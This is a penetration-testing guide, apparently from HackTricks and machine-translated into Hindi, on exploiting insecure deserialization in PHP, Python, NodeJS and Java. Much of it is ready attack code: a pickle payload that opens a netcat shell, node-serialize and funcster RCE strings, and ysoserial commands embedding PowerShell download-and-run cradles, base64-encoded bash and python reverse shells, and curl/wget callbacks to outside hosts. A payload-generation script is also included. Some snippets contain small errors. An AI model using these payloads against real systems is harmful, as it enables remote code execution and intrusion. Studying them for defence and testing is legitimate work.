Deserialization

Reading time: 45 minutes

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks का समर्थन करें

Basic Information

Serialization को एक ऑब्जेक्ट को एक ऐसे प्रारूप में परिवर्तित करने की विधि के रूप में समझा जाता है जिसे संरक्षित किया जा सके, जिसका उद्देश्य या तो ऑब्जेक्ट को संग्रहीत करना या इसे संचार प्रक्रिया के हिस्से के रूप में प्रसारित करना है। इस तकनीक का सामान्यत: उपयोग यह सुनिश्चित करने के लिए किया जाता है कि ऑब्जेक्ट को बाद में फिर से बनाया जा सके, इसकी संरचना और स्थिति को बनाए रखते हुए।

Deserialization, इसके विपरीत, वह प्रक्रिया है जो serialization का प्रतिकार करती है। इसमें उस डेटा को लेना शामिल है जिसे एक विशिष्ट प्रारूप में संरचित किया गया है और इसे फिर से एक ऑब्जेक्ट में पुनर्निर्माण करना शामिल है।

Deserialization खतरनाक हो सकता है क्योंकि यह संभावित रूप से हमलावरों को अनुक्रमित डेटा में हेरफेर करने की अनुमति देता है ताकि हानिकारक कोड निष्पादित किया जा सके या ऑब्जेक्ट पुनर्निर्माण प्रक्रिया के दौरान एप्लिकेशन में अप्रत्याशित व्यवहार उत्पन्न कर सके।

PHP

PHP में, serialization और deserialization प्रक्रियाओं के दौरान विशिष्ट जादुई विधियों का उपयोग किया जाता है:

  • __sleep: जब एक ऑब्जेक्ट को अनुक्रमित किया जा रहा होता है, तब इसे बुलाया जाता है। यह विधि उन सभी गुणों के नामों का एक ऐरे लौटाना चाहिए जिन्हें अनुक्रमित किया जाना चाहिए। इसका सामान्यत: उपयोग लंबित डेटा को समर्पित करने या समान सफाई कार्य करने के लिए किया जाता है।
  • __wakeup: जब एक ऑब्जेक्ट को deserialized किया जा रहा होता है, तब इसे बुलाया जाता है। इसका उपयोग उन किसी भी डेटाबेस कनेक्शनों को फिर से स्थापित करने के लिए किया जाता है जो serialization के दौरान खो गए हो सकते हैं और अन्य पुनः आरंभ कार्य करने के लिए।
  • __unserialize: यह विधि __wakeup के बजाय (यदि यह मौजूद है) तब बुलाई जाती है जब एक ऑब्जेक्ट को deserialized किया जा रहा होता है। यह __wakeup की तुलना में deserialization प्रक्रिया पर अधिक नियंत्रण देती है।
  • __destruct: यह विधि तब बुलाई जाती है जब एक ऑब्जेक्ट नष्ट होने वाला होता है या जब स्क्रिप्ट समाप्त होती है। इसका सामान्यत: उपयोग सफाई कार्यों के लिए किया जाता है, जैसे फ़ाइल हैंडल या डेटाबेस कनेक्शनों को बंद करना।
  • __toString: यह विधि एक ऑब्जेक्ट को एक स्ट्रिंग के रूप में व्यवहार करने की अनुमति देती है। इसका उपयोग फ़ाइल पढ़ने या इसके भीतर फ़ंक्शन कॉल के आधार पर अन्य कार्यों के लिए किया जा सकता है, प्रभावी रूप से ऑब्जेक्ट का एक पाठ्य प्रतिनिधित्व प्रदान करता है।
php
<?php
class test {
public $s = "This is a test";
public function displaystring(){
echo $this->s.'<br />';
}
public function __toString()
{
echo '__toString method called';
}
public function __construct(){
echo "__construct method called";
}
public function __destruct(){
echo "__destruct method called";
}
public function __wakeup(){
echo "__wakeup method called";
}
public function __sleep(){
echo "__sleep method called";
return array("s"); #The "s" makes references to the public attribute
}
}

$o = new test();
$o->displaystring();
$ser=serialize($o);
echo $ser;
$unser=unserialize($ser);
$unser->displaystring();

/*
php > $o = new test();
__construct method called
__destruct method called
php > $o->displaystring();
This is a test<br />

php > $ser=serialize($o);
__sleep method called

php > echo $ser;
O:4:"test":1:{s:1:"s";s:14:"This is a test";}

php > $unser=unserialize($ser);
__wakeup method called
__destruct method called

php > $unser->displaystring();
This is a test<br />
*/
?>

यदि आप परिणामों को देखें तो आप देख सकते हैं कि फ़ंक्शन __wakeup और __destruct तब कॉल किए जाते हैं जब ऑब्जेक्ट को डेसिरियलाइज़ किया जाता है। ध्यान दें कि कई ट्यूटोरियल में आप पाएंगे कि __toString फ़ंक्शन तब कॉल किया जाता है जब किसी विशेषता को प्रिंट करने की कोशिश की जाती है, लेकिन स्पष्ट रूप से यह अब नहीं हो रहा है

warning

यदि इसे क्लास में लागू किया गया है तो __unserialize(array $data) मेथड __wakeup() के बजाय कॉल किया जाता है। यह आपको ऑब्जेक्ट को डेसिरियलाइज़ करने की अनुमति देता है, जिसमें सीरियलाइज्ड डेटा को एक एरे के रूप में प्रदान किया जाता है। आप इस मेथड का उपयोग प्रॉपर्टीज़ को डेसिरियलाइज़ करने और डेसिरियलाइज़ेशन के दौरान आवश्यक कार्य करने के लिए कर सकते हैं।

class MyClass {
    private $property;

    public function __unserialize(array $data): void {
        $this->property = $data['property'];
        // डेसिरियलाइज़ेशन के दौरान आवश्यक कार्य करें।
    }
}

आप एक विस्तृत PHP उदाहरण यहाँ पढ़ सकते हैं: https://www.notsosecure.com/remote-code-execution-via-php-unserialize/, यहाँ https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf या यहाँ https://securitycafe.ro/2015/01/05/understanding-php-object-injection/

PHP Deserial + Autoload Classes

आप PHP ऑटोलोड फ़ंक्शनलिटी का दुरुपयोग करके मनमाने php फ़ाइलों को लोड कर सकते हैं और अधिक:

PHP - Deserialization + Autoload Classes

संदर्भित मानों को सीरियलाइज़ करना

यदि किसी कारणवश आप किसी मान को दूसरे सीरियलाइज्ड मान के संदर्भ के रूप में सीरियलाइज़ करना चाहते हैं, तो आप कर सकते हैं:

php
<?php
class AClass {
public $param1;
public $param2;
}

$o = new WeirdGreeting;
$o->param1 =& $o->param22;
$o->param = "PARAM";
$ser=serialize($o);

PHPGGC (ysoserial for PHP)

PHPGGC आपको PHP deserialization का दुरुपयोग करने के लिए payloads उत्पन्न करने में मदद कर सकता है।
ध्यान दें कि कई मामलों में आप ऐप्लिकेशन के स्रोत कोड में deserialization का दुरुपयोग करने का कोई तरीका नहीं पाएंगे लेकिन आप बाहरी PHP एक्सटेंशनों के कोड का दुरुपयोग कर सकते हैं।
तो, यदि आप कर सकते हैं, तो सर्वर का phpinfo() जांचें और इंटरनेट पर खोजें (यहां तक कि PHPGGC के gadgets पर) कुछ संभावित gadgets जिन्हें आप दुरुपयोग कर सकते हैं।

phar:// metadata deserialization

यदि आपने एक LFI पाया है जो केवल फ़ाइल को पढ़ रहा है और इसके अंदर के php कोड को निष्पादित नहीं कर रहा है, उदाहरण के लिए file_get_contents(), fopen(), file() या file_exists(), md5_file(), filemtime() या filesize()** का उपयोग करके।** आप phar प्रोटोकॉल का उपयोग करके फ़ाइल पढ़ते समय होने वाली deserialization का दुरुपयोग करने की कोशिश कर सकते हैं।
अधिक जानकारी के लिए निम्नलिखित पोस्ट पढ़ें:

phar:// deserialization

Python

Pickle

जब ऑब्जेक्ट को unpickle किया जाता है, तो फ़ंक्शन ___reduce___ निष्पादित होगा।
जब इसका दुरुपयोग किया जाता है, तो सर्वर एक त्रुटि वापस कर सकता है।

python
import pickle, os, base64
class P(object):
def __reduce__(self):
return (os.system,("netcat -c '/bin/bash -i' -l -p 1234 ",))
print(base64.b64encode(pickle.dumps(P())))

बायपास तकनीक की जांच करने से पहले, यदि आप python3 चला रहे हैं तो print(base64.b64encode(pickle.dumps(P(),2))) का उपयोग करके एक ऐसा ऑब्जेक्ट उत्पन्न करने का प्रयास करें जो python2 के साथ संगत हो।

pickle jails से बचने के बारे में अधिक जानकारी के लिए देखें:

Bypass Python sandboxes

Yaml & jsonpickle

निम्नलिखित पृष्ठ yaml python पुस्तकालयों में असुरक्षित deserialization का दुरुपयोग करने की तकनीक प्रस्तुत करता है और Pickle, PyYAML, jsonpickle और ruamel.yaml के लिए RCE deserialization payload उत्पन्न करने के लिए एक उपकरण के साथ समाप्त होता है:

Python Yaml Deserialization

Class Pollution (Python Prototype Pollution)

Class Pollution (Python's Prototype Pollution)

NodeJS

JS Magic Functions

JS "जादुई" कार्य नहीं रखता जैसे PHP या Python जो केवल एक ऑब्जेक्ट बनाने के लिए निष्पादित होंगे। लेकिन इसमें कुछ कार्य हैं जो प्रत्यक्ष रूप से कॉल किए बिना भी अक्सर उपयोग किए जाते हैं जैसे toString, valueOf, toJSON
यदि आप deserialization का दुरुपयोग करते हैं तो आप इन कार्यों को अन्य कोड निष्पादित करने के लिए समझौता कर सकते हैं (संभावित रूप से प्रोटोटाइप प्रदूषण का दुरुपयोग करते हुए) जब इन्हें कॉल किया जाता है तो आप मनमाना कोड निष्पादित कर सकते हैं।

एक और "जादुई" तरीका एक कार्य को कॉल करने का बिना इसे सीधे कॉल किए एक ऑब्जेक्ट को समझौता करना है जो एक async कार्य (प्रॉमिस) द्वारा लौटाया जाता है। क्योंकि, यदि आप उस रिटर्न ऑब्जेक्ट को एक अन्य प्रॉमिस में **"then" नामक कार्य प्रकार की एक प्रॉपर्टी में परिवर्तित करते हैं, तो यह केवल इसलिए निष्पादित होगा क्योंकि इसे एक अन्य प्रॉमिस द्वारा लौटाया गया है। अधिक जानकारी के लिए इस लिंक का पालन करें.

javascript
// If you can compromise p (returned object) to be a promise
// it will be executed just because it's the return object of an async function:
async function test_resolve() {
const p = new Promise((resolve) => {
console.log("hello")
resolve()
})
return p
}

async function test_then() {
const p = new Promise((then) => {
console.log("hello")
return 1
})
return p
}

test_ressolve()
test_then()
//For more info: https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/

__proto__ और prototype प्रदूषण

यदि आप इस तकनीक के बारे में जानना चाहते हैं तो निम्नलिखित ट्यूटोरियल पर नज़र डालें:

NodeJS - proto & prototype Pollution

node-serialize

यह पुस्तकालय कार्यों को अनुक्रमित करने की अनुमति देता है। उदाहरण:

javascript
var y = {
rce: function () {
require("child_process").exec("ls /", function (error, stdout, stderr) {
console.log(stdout)
})
},
}
var serialize = require("node-serialize")
var payload_serialized = serialize.serialize(y)
console.log("Serialized: \n" + payload_serialized)

सीरियलाइज्ड ऑब्जेक्ट इस तरह दिखेगा:

bash
{"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })}"}

आप उदाहरण में देख सकते हैं कि जब एक फ़ंक्शन को सीरियलाइज़ किया जाता है तो _$$ND_FUNC$$_ फ़्लैग सीरियलाइज़ किए गए ऑब्जेक्ट में जोड़ा जाता है।

फाइल node-serialize/lib/serialize.js के अंदर आप वही फ़्लैग और कोड का उपयोग कैसे किया जा रहा है, पा सकते हैं।

जैसा कि आप कोड के अंतिम भाग में देख सकते हैं, यदि फ़्लैग पाया जाता है तो eval का उपयोग फ़ंक्शन को डीसिरियलाइज़ करने के लिए किया जाता है, इसलिए मूल रूप से उपयोगकर्ता इनपुट eval फ़ंक्शन के अंदर उपयोग किया जा रहा है

हालांकि, सिर्फ फ़ंक्शन को सीरियलाइज़ करना इसे निष्पादित नहीं करेगा क्योंकि यह आवश्यक होगा कि कोड का कुछ भाग y.rce को कॉल कर रहा हो हमारे उदाहरण में और यह अत्यधिक असंभव है।
वैसे, आप बस सीरियलाइज़ किए गए ऑब्जेक्ट को संशोधित कर सकते हैं कुछ कोष्ठकों को जोड़कर ताकि जब ऑब्जेक्ट को डीसिरियलाइज़ किया जाए तो सीरियलाइज़ किया गया फ़ंक्शन स्वचालित रूप से निष्पादित हो जाए।
अगले कोड के भाग में अंतिम कोष्ठक पर ध्यान दें और कैसे unserialize फ़ंक्शन स्वचालित रूप से कोड को निष्पादित करेगा:

javascript
var serialize = require("node-serialize")
var test = {
rce: "_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()",
}
serialize.unserialize(test)

जैसा कि पहले संकेत दिया गया था, यह पुस्तकालय _$$ND_FUNC$$_ के बाद कोड प्राप्त करेगा और इसे eval का उपयोग करके निष्पादित करेगा। इसलिए, कोड को स्वचालित रूप से निष्पादित करने के लिए आप कार्य निर्माण भाग और अंतिम कोष्ठक को हटा सकते हैं और बस एक JS एकल रेखा निष्पादित कर सकते हैं जैसे कि निम्नलिखित उदाहरण में:

javascript
var serialize = require("node-serialize")
var test =
"{\"rce\":\"_$$ND_FUNC$$_require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })\"}"
serialize.unserialize(test)

आप यहां अधिक जानकारी प्राप्त कर सकते हैं कि इस कमजोरियों का लाभ कैसे उठाया जाए।

funcster

funcster का एक महत्वपूर्ण पहलू मानक अंतर्निहित वस्तुओं की अनुपलब्धता है; ये सुलभ दायरे से बाहर हैं। यह प्रतिबंध उन कोडों के निष्पादन को रोकता है जो अंतर्निहित वस्तुओं पर विधियों को कॉल करने का प्रयास करते हैं, जिससे "ReferenceError: console is not defined" जैसी अपवाद उत्पन्न होते हैं जब console.log() या require(something) जैसे कमांड का उपयोग किया जाता है।

इस सीमा के बावजूद, सभी मानक अंतर्निहित वस्तुओं सहित वैश्विक संदर्भ तक पूर्ण पहुंच को पुनर्स्थापित करना एक विशिष्ट दृष्टिकोण के माध्यम से संभव है। वैश्विक संदर्भ का सीधे लाभ उठाकर, इस प्रतिबंध को बायपास किया जा सकता है। उदाहरण के लिए, निम्नलिखित स्निपेट का उपयोग करके पहुंच को फिर से स्थापित किया जा सकता है:

javascript
funcster = require("funcster")
//Serialization
var test = funcster.serialize(function () {
return "Hello world!"
})
console.log(test) // { __js_function: 'function(){return"Hello world!"}' }

//Deserialization with auto-execution
var desertest1 = { __js_function: 'function(){return "Hello world!"}()' }
funcster.deepDeserialize(desertest1)
var desertest2 = {
__js_function: 'this.constructor.constructor("console.log(1111)")()',
}
funcster.deepDeserialize(desertest2)
var desertest3 = {
__js_function:
"this.constructor.constructor(\"require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) });\")()",
}
funcster.deepDeserialize(desertest3)

अधिक जानकारी के लिए इस स्रोत को पढ़ें यहाँ

serialize-javascript

serialize-javascript पैकेज विशेष रूप से अनुक्रमण के उद्देश्यों के लिए डिज़ाइन किया गया है, जिसमें कोई अंतर्निहित अव्यवस्थित करने की क्षमताएँ नहीं हैं। उपयोगकर्ता अव्यवस्थित करने के लिए अपनी स्वयं की विधि लागू करने के लिए जिम्मेदार हैं। अनुक्रमित डेटा को अव्यवस्थित करने के लिए आधिकारिक उदाहरण द्वारा eval का प्रत्यक्ष उपयोग सुझाया गया है:

javascript
function deserialize(serializedJavascript) {
return eval("(" + serializedJavascript + ")")
}

यदि इस फ़ंक्शन का उपयोग ऑब्जेक्ट्स को डीसिरियलाइज़ करने के लिए किया जाता है, तो आप इसे आसानी से शोषण कर सकते हैं:

javascript
var serialize = require("serialize-javascript")
//Serialization
var test = serialize(function () {
return "Hello world!"
})
console.log(test) //function() { return "Hello world!" }

//Deserialization
var test =
"function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"
deserialize(test)

के लिए अधिक जानकारी के लिए इस स्रोत को पढ़ें.

Cryo पुस्तकालय

निम्नलिखित पृष्ठों पर आप इस पुस्तकालय का दुरुपयोग करके मनमाने आदेशों को निष्पादित करने के बारे में जानकारी पा सकते हैं:

Java - HTTP

Java में, deserialization callbacks deserialization की प्रक्रिया के दौरान निष्पादित होते हैं। इस निष्पादन का दुरुपयोग उन हमलावरों द्वारा किया जा सकता है जो इन callbacks को ट्रिगर करने वाले दुर्भावनापूर्ण payloads तैयार करते हैं, जिससे हानिकारक क्रियाओं के संभावित निष्पादन की संभावना होती है।

फिंगरप्रिंट

व्हाइट बॉक्स

कोडबेस में संभावित serialization कमजोरियों की पहचान करने के लिए खोजें:

  • कक्षाएँ जो Serializable इंटरफ़ेस को लागू करती हैं।
  • java.io.ObjectInputStream, readObject, readUnshare फ़ंक्शंस का उपयोग।

विशेष ध्यान दें:

  • XMLDecoder का उपयोग बाहरी उपयोगकर्ताओं द्वारा परिभाषित पैरामीटर के साथ किया गया।
  • XStream का fromXML विधि, विशेष रूप से यदि XStream संस्करण 1.46 या उससे कम है, क्योंकि यह serialization समस्याओं के प्रति संवेदनशील है।
  • ObjectInputStream जो readObject विधि के साथ जुड़ा हुआ है।
  • readObject, readObjectNodData, readResolve, या readExternal जैसी विधियों का कार्यान्वयन।
  • ObjectInputStream.readUnshared
  • Serializable का सामान्य उपयोग।

ब्लैक बॉक्स

ब्लैक बॉक्स परीक्षण के लिए, विशेष हस्ताक्षर या "मैजिक बाइट्स" की तलाश करें जो java serialized objects (जो ObjectInputStream से उत्पन्न होते हैं) को दर्शाते हैं:

  • हेक्साडेसिमल पैटर्न: AC ED 00 05
  • बेस64 पैटर्न: rO0
  • HTTP प्रतिक्रिया हेडर जिनमें Content-type application/x-java-serialized-object पर सेट है।
  • पूर्व संकुचन को दर्शाने वाला हेक्साडेसिमल पैटर्न: 1F 8B 08 00
  • पूर्व संकुचन को दर्शाने वाला बेस64 पैटर्न: H4sIA
  • .faces एक्सटेंशन वाले वेब फ़ाइलें और faces.ViewState पैरामीटर। एक वेब एप्लिकेशन में इन पैटर्नों की खोज करने से Java JSF ViewState Deserialization के बारे में पोस्ट में विस्तृत जांच की जानी चाहिए।
javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s

Check if vulnerable

यदि आप जानना चाहते हैं कि Java Deserialized exploit कैसे काम करता है तो आपको Basic Java Deserialization, Java DNS Deserialization, और CommonsCollection1 Payload पर एक नज़र डालनी चाहिए।

White Box Test

आप यह जांच सकते हैं कि क्या कोई ऐसा एप्लिकेशन स्थापित है जिसमें ज्ञात कमजोरियाँ हैं।

bash
find . -iname "*commons*collection*"
grep -R InvokeTransformer .

आप सभी लाइब्रेरीज़ की जांच करने की कोशिश कर सकते हैं जो ज्ञात हैं कि वे कमजोर हैं और जो Ysoserial एक एक्सप्लॉइट प्रदान कर सकता है। या आप Java-Deserialization-Cheat-Sheet पर निर्दिष्ट लाइब्रेरीज़ की जांच कर सकते हैं।
आप संभावित गेज़ेट चेन की खोज के लिए gadgetinspector का भी उपयोग कर सकते हैं।
जब आप gadgetinspector चला रहे हों (इसे बनाने के बाद) तो इसके द्वारा उत्पन्न होने वाले सैकड़ों चेतावनियों/त्रुटियों की परवाह न करें और इसे पूरा होने दें। यह सभी निष्कर्षों को gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt के तहत लिखेगा। कृपया ध्यान दें कि gadgetinspector एक एक्सप्लॉइट नहीं बनाएगा और यह झूठे सकारात्मक संकेत दे सकता है

ब्लैक बॉक्स टेस्ट

Burp एक्सटेंशन gadgetprobe का उपयोग करके आप कौन सी लाइब्रेरीज़ उपलब्ध हैं (और यहां तक कि संस्करण भी) पहचान सकते हैं। इस जानकारी के साथ, एक पेलोड चुनना आसान हो सकता है जो कमजोरी का फायदा उठाए।
GadgetProbe के बारे में अधिक जानने के लिए इसे पढ़ें.
GadgetProbe ObjectInputStream deserializations पर केंद्रित है।

Burp एक्सटेंशन Java Deserialization Scanner का उपयोग करके आप कमजोर लाइब्रेरीज़ की पहचान कर सकते हैं जिन्हें ysoserial के साथ एक्सप्लॉइट किया जा सकता है।
Java Deserialization Scanner के बारे में अधिक जानने के लिए इसे पढ़ें।
Java Deserialization Scanner ObjectInputStream deserializations पर केंद्रित है।

आप Burp में deserializations कमजोरियों का पता लगाने के लिए Freddy का भी उपयोग कर सकते हैं। यह प्लगइन केवल ObjectInputStream से संबंधित कमजोरियों का पता नहीं लगाएगा बल्कि Json और Yml deserialization लाइब्रेरीज़ से भी कमजोरियों का पता लगाएगा। सक्रिय मोड में, यह नींद या DNS पेलोड का उपयोग करके उन्हें पुष्टि करने की कोशिश करेगा।
आप यहां Freddy के बारे में अधिक जानकारी प्राप्त कर सकते हैं।

Serialization टेस्ट

सिर्फ यह जांचना ही नहीं है कि क्या सर्वर द्वारा कोई कमजोर लाइब्रेरी का उपयोग किया जा रहा है। कभी-कभी आप serialized ऑब्जेक्ट के अंदर डेटा को बदलने और कुछ जांचों को बायपास करने में सक्षम हो सकते हैं (शायद आपको एक वेब ऐप के अंदर प्रशासनिक विशेषाधिकार प्रदान करें)।
यदि आप एक जावा serialized ऑब्जेक्ट पाते हैं जो एक वेब एप्लिकेशन को भेजा जा रहा है, तो आप उपयोग कर सकते हैं SerializationDumper जिससे आप भेजे गए serialization ऑब्जेक्ट को अधिक मानव-पठनीय प्रारूप में प्रिंट कर सकते हैं। यह जानना कि आप कौन सा डेटा भेज रहे हैं, इसे संशोधित करना और कुछ जांचों को बायपास करना आसान होगा।

एक्सप्लॉइट

ysoserial

जावा deserializations का फायदा उठाने के लिए मुख्य उपकरण ysoserial है (यहां डाउनलोड करें)। आप ysoseral-modified का उपयोग करने पर भी विचार कर सकते हैं जो आपको जटिल कमांड (उदाहरण के लिए पाइप के साथ) का उपयोग करने की अनुमति देगा।
ध्यान दें कि यह उपकरण ObjectInputStream का फायदा उठाने पर केंद्रित है।
मैं RCE पेलोड से पहले "URLDNS" पेलोड का उपयोग करना शुरू करूंगा यह परीक्षण करने के लिए कि क्या इंजेक्शन संभव है। वैसे भी, ध्यान दें कि शायद "URLDNS" पेलोड काम नहीं कर रहा है लेकिन अन्य RCE पेलोड काम कर रहा है।

bash
# PoC to make the application perform a DNS req
java -jar ysoserial-master-SNAPSHOT.jar URLDNS http://b7j40108s43ysmdpplgd3b7rdij87x.burpcollaborator.net > payload

# PoC RCE in Windows
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections5 'cmd /c ping -n 5 127.0.0.1' > payload
# Time, I noticed the response too longer when this was used
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c timeout 5" > payload
# Create File
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c echo pwned> C:\\\\Users\\\\username\\\\pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c nslookup jvikwa34jwgftvoxdz16jhpufllb90.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c certutil -urlcache -split -f http://j4ops7g6mi9w30verckjrk26txzqnf.burpcollaborator.net/a a"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAYwBlADcAMABwAG8AbwB1ADAAaABlAGIAaQAzAHcAegB1AHMAMQB6ADIAYQBvADEAZgA3ADkAdgB5AC4AYgB1AHIAcABjAG8AbABsAGEAYgBvAHIAYQB0AG8AcgAuAG4AZQB0AC8AYQAnACkA"
## In the ast http request was encoded: IEX(New-Object Net.WebClient).downloadString('http://1ce70poou0hebi3wzus1z2ao1f79vy.burpcollaborator.net/a')
## To encode something in Base64 for Windows PS from linux you can use: echo -n "<PAYLOAD>" | iconv --to-code UTF-16LE | base64 -w0
# Reverse Shell
## Encoded: IEX(New-Object Net.WebClient).downloadString('http://192.168.1.4:8989/powercat.ps1')
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAxAC4ANAA6ADgAOQA4ADkALwBwAG8AdwBlAHIAYwBhAHQALgBwAHMAMQAnACkA"

#PoC RCE in Linux
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "ping -c 5 192.168.1.4" > payload
# Time
## Using time in bash I didn't notice any difference in the timing of the response
# Create file
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "touch /tmp/pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "dig ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "nslookup ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "curl ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net" > payload
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "wget ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# Reverse shell
## Encoded: bash -i >& /dev/tcp/127.0.0.1/4444 0>&1
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}" | base64 -w0
## Encoded: export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,ZXhwb3J0IFJIT1NUPSIxMjcuMC4wLjEiO2V4cG9ydCBSUE9SVD0xMjM0NTtweXRob24gLWMgJ2ltcG9ydCBzeXMsc29ja2V0LG9zLHB0eTtzPXNvY2tldC5zb2NrZXQoKTtzLmNvbm5lY3QoKG9zLmdldGVudigiUkhPU1QiKSxpbnQob3MuZ2V0ZW52KCJSUE9SVCIpKSkpO1tvcy5kdXAyKHMuZmlsZW5vKCksZmQpIGZvciBmZCBpbiAoMCwxLDIpXTtwdHkuc3Bhd24oIi9iaW4vc2giKSc=}|{base64,-d}|{bash,-i}"

# Base64 encode payload in base64
base64 -w0 payload

जब java.lang.Runtime.exec() के लिए एक payload बनाते हैं, तो आप विशेष वर्ण जैसे ">" या "|" का उपयोग नहीं कर सकते हैं ताकि निष्पादन का आउटपुट पुनर्निर्देशित किया जा सके, "$()" का उपयोग करके आदेश निष्पादित कर सकें या यहां तक कि कमांड के लिए तर्क को स्पेस द्वारा अलग कर सकें (आप echo -n "hello world" कर सकते हैं लेकिन आप python2 -c 'print "Hello world"' नहीं कर सकते)। payload को सही तरीके से एन्कोड करने के लिए आप इस वेबपेज का उपयोग कर सकते हैं।

Windows और Linux के लिए सभी संभावित कोड निष्पादन payloads बनाने के लिए अगले स्क्रिप्ट का उपयोग करने के लिए स्वतंत्र महसूस करें और फिर उन्हें कमजोर वेब पृष्ठ पर परीक्षण करें:

python
import os
import base64

# You may need to update the payloads
payloads = ['BeanShell1', 'Clojure', 'CommonsBeanutils1', 'CommonsCollections1', 'CommonsCollections2', 'CommonsCollections3', 'CommonsCollections4', 'CommonsCollections5', 'CommonsCollections6', 'CommonsCollections7', 'Groovy1', 'Hibernate1', 'Hibernate2', 'JBossInterceptors1', 'JRMPClient', 'JSON1', 'JavassistWeld1', 'Jdk7u21', 'MozillaRhino1', 'MozillaRhino2', 'Myfaces1', 'Myfaces2', 'ROME', 'Spring1', 'Spring2', 'Vaadin1', 'Wicket1']
def generate(name, cmd):
for payload in payloads:
final = cmd.replace('REPLACE', payload)
print 'Generating ' + payload + ' for ' + name + '...'
command = os.popen('java -jar ysoserial.jar ' + payload + ' "' + final + '"')
result = command.read()
command.close()
encoded = base64.b64encode(result)
if encoded != "":
open(name + '_intruder.txt', 'a').write(encoded + '\n')

generate('Windows', 'ping -n 1 win.REPLACE.server.local')
generate('Linux', 'ping -c 1 nix.REPLACE.server.local')

serialkillerbypassgadgets

आप इसका उपयोग कर सकते हैं https://github.com/pwntester/SerialKillerBypassGadgetCollection अधिक एक्सप्लॉइट बनाने के लिए ysoserial के साथ। इस टूल के बारे में अधिक जानकारी टॉक की स्लाइड्स में है जहाँ टूल प्रस्तुत किया गया था: https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1

marshalsec

marshalsec का उपयोग विभिन्न Json और Yml सीरियलाइजेशन लाइब्रेरीज़ को एक्सप्लॉइट करने के लिए पेलोड्स उत्पन्न करने के लिए किया जा सकता है।
प्रोजेक्ट को संकलित करने के लिए मुझे pom.xml में ये dependencies जोड़नी थीं:

html
<dependency>
<groupId>javax.activation</groupId>
<artifactId>activation</artifactId>
<version>1.1.1</version>
</dependency>

<dependency>
<groupId>com.sun.jndi</groupId>
<artifactId>rmiregistry</artifactId>
<version>1.2.1</version>
<type>pom</type>
</dependency>

Maven स्थापित करें, और परियोजना को संकलित करें:

bash
sudo apt-get install maven
mvn clean package -DskipTests

FastJSON

इस Java JSON पुस्तकालय के बारे में अधिक पढ़ें: https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html

Labs

Why

Java विभिन्न उद्देश्यों के लिए बहुत सारी serialization का उपयोग करता है जैसे:

  • HTTP requests: Serialization का व्यापक रूप से प्रबंधन में उपयोग किया जाता है जैसे कि parameters, ViewState, cookies, आदि।
  • RMI (Remote Method Invocation): Java RMI प्रोटोकॉल, जो पूरी तरह से serialization पर निर्भर करता है, Java अनुप्रयोगों में दूरस्थ संचार के लिए एक आधारशिला है।
  • RMI over HTTP: यह विधि Java-आधारित मोटे क्लाइंट वेब अनुप्रयोगों द्वारा सामान्यतः उपयोग की जाती है, जो सभी ऑब्जेक्ट संचार के लिए serialization का उपयोग करती है।
